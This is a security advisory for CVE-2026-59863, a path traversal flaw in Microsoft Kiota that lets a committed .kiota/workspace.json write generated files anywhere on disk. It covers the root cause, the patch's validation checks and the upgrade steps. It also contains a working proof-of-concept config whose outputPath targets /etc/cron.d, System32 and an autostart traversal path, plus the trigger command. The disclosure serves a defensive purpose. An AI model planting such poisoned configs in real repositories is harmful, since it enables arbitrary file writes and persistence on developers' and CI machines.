highCVE-2026-59863Jul 24, 2026

CVE-2026-59863: Microsoft Kiota workspace.json Path Traversal to Arbitrary File Write

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A malicious or compromised repository can poison Kiota's committed workspace config so that running the normal client-regeneration command writes generated files to any location on a developer's or…

PackageMicrosoft.OpenApi.Kiota
Ecosystemnuget
Affected< 1.32.5
Fixed in1.32.5
CVE-2026-59863: Microsoft Kiota workspace.json Path Traversal to Arbitrary File Write

The problem

Kiota's team workflow encourages committing .kiota/workspace.json to a repository so teammates can regenerate clients with a single command. Before 1.32.5, Kiota read each client's outputPath from that file and used it directly, with no check that it stayed inside the workspace root.

An attacker who can edit .kiota/workspace.json (via a malicious repo, a supply-chain compromise, or a pull request) can set outputPath to any absolute or traversal path. Every teammate or CI job that runs kiota client generate or kiota plugin generate will then write the entire generated client tree to the attacker-chosen location, overwriting source files, dropping files in auto-loaded directories, or poisoning build artifacts.

Proof of concept

A working proof-of-concept for CVE-2026-59863 in Microsoft.OpenApi.Kiota, with the exact payload below.

json
// .kiota/workspace.json committed to the repository
{
  "version": "1.0",
  "clients": {
    "MyClient": {
      "descriptionLocation": "https://example.com/openapi.yaml",
      "outputPath": "/etc/cron.d/pwned_client"
    }
  }
}

# Trigger on victim's machine (documented regenerate command):
KIOTA_CONFIG_PREVIEW=true kiota client generate --client-name MyClient
# -> generated client files written to /etc/cron.d/pwned_client/ (outside workspace)

# Windows variant using a drive-rooted path:
# "outputPath": "C:\\Windows\\System32\\pwned_client"

# Relative traversal variant:
# "outputPath": "../../../.config/autostart/pwned_client"

The root cause is CWE-22: outputPath was passed straight to the filesystem layer without any confinement check. Absolute paths (POSIX /, Windows X:\, UNC \\ or //) and relative traversal segments (..) were all accepted, so the resolved output directory could be anywhere the process had write access.

The patch (PR #7885, commit 4049327) adds a validation step when workspace config is loaded. It now rejects null or empty paths, any path that Path.IsRooted() considers absolute, any path containing a .. segment, and any resolved full path whose string does not start with the workspace-root prefix.

Generation aborts with an error before any file is written if a consumer's outputPath fails these checks.

Because the attack vector is the committed config file rather than the OpenAPI description, it bypasses any description-level sanitization entirely.

The fix

Upgrade to Microsoft.OpenApi.Kiota version **1.32.5** or later. After upgrading, audit any committed .kiota/workspace.json files for outputPath values that reference absolute paths or contain .. segments and correct them to relative subdirectories inside the workspace root.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research